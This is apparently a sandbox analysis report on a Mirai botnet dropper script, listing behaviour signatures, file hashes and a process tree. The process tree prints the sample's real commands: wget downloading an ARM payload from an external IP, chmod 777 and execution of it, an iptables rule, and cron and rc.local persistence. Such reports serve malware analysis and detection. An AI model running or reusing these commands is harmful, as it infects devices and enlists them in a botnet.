Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

6

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2026, 12:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 4KB
  • Sample261018-ptplmset2z
  • SHA256 c21545bd542756fec6e8f7baf359f16af07d641c490a71f49d5fa3e9fb4c7b3d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalation

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 3 IoCs
    persistence
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs

    Execute scripts via Unix Shell.

    execution
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget -q -O - http://178.132.198.200/active_target.txt
      2⤵
        PID:647
      • /bin/uname
        uname -m
        2⤵
          PID:713
        • /bin/grep
          grep -qi -E "C8C684B2:01BB|B284C6C8:01BB|:01BB" /proc/net/tcp
          2⤵
          • Enumerates active TCP sockets
          • Reads system network configuration
          PID:715
        • /bin/pidof
          pidof .svc
          2⤵
          • Reads runtime system information
          PID:718
        • /bin/pidof
          pidof .ldr_svc
          2⤵
          • Reads runtime system information
          PID:720
        • /bin/rm
          rm -f .svc .ldr_svc
          2⤵
            PID:721
          • /usr/bin/wget
            wget -q http://178.132.198.200/bins/vcimanagement.arm7 -O .svc
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 .svc
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /bin/cp
            cp -f .svc .ldr_svc
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 .ldr_svc
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /bin/sleep
            sleep 0.8
            2⤵
              PID:759
            • /tmp/.svc
              ./.svc
              2⤵
              • Modifies Watchdog functionality
              • Write file to user bin folder
              • Changes its process name
              • Reads runtime system information
              • Writes file to tmp directory
              PID:757
              • /bin/sh
                /bin/sh -c "iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 2>/dev/null"
                3⤵
                  PID:761
                  • /sbin/iptables
                    iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
                    4⤵
                      PID:762
                  • /bin/sh
                    /bin/sh -c "(crontab -l 2>/dev/null | grep -v '.x'; echo '@reboot /usr/bin/.x'; echo '*/10 * * * * /usr/bin/.x') | crontab - 2>/dev/null"
                    3⤵
                    • Command and Scripting Interpreter: Unix Shell
                    PID:769
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:771
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:772
                      • /bin/grep
                        grep -v .x
                        4⤵
                          PID:773
                      • /bin/sh
                        /bin/sh -c "grep -q '.svc' /etc/rc.local 2>/dev/null || sed -i 's|^exit 0|/usr/bin/.svc \\&\\nexit 0|' /etc/rc.local 2>/dev/null"
                        3⤵
                        • Command and Scripting Interpreter: Unix Shell
                        PID:774
                        • /bin/grep
                          grep -q .svc /etc/rc.local
                          4⤵
                            PID:775
                          • /bin/sed
                            sed -i "s|^exit 0|/usr/bin/.svc \\&\\nexit 0|" /etc/rc.local
                            4⤵
                              PID:776
                          • /bin/sh
                            /bin/sh -c "killall -9 auto_update 2>/dev/null; rm -f /usr/bin/auto_update 2>/dev/null"
                            3⤵
                            • Command and Scripting Interpreter: Unix Shell
                            PID:777
                            • /usr/bin/killall
                              killall -9 auto_update
                              4⤵
                              • Reads runtime system information
                              PID:778
                            • /bin/rm
                              rm -f /usr/bin/auto_update
                              4⤵
                                PID:779
                          • /tmp/.ldr_svc
                            ./.ldr_svc
                            2⤵
                              PID:758
                              • /bin/sh
                                /bin/sh -c "iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 2>/dev/null"
                                3⤵
                                  PID:760
                                  • /sbin/iptables
                                    iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
                                    4⤵
                                      PID:763

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    .svc
                                    • Path /tmp/.svc
                                    • Size 124KB
                                    • SHA256 60324938d01641de82b11bd0fd91d10f93f9b79bc40f031709d82337fb8a241e
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    .x
                                    • Path /usr/bin/.x
                                    • Size 250B
                                    • SHA256 79e3aa0a107eb9e116d80a0509d73c75780fd78b325c7a4acb591e6027e32b77
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    tmp.TAbm1p
                                    • Path /var/spool/cron/crontabs/tmp.TAbm1p
                                    • Size 220B
                                    • SHA256 24827712f47491e2cd8ebd96825d35a93f5408a83126b144cb5fc7702d5ea439
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download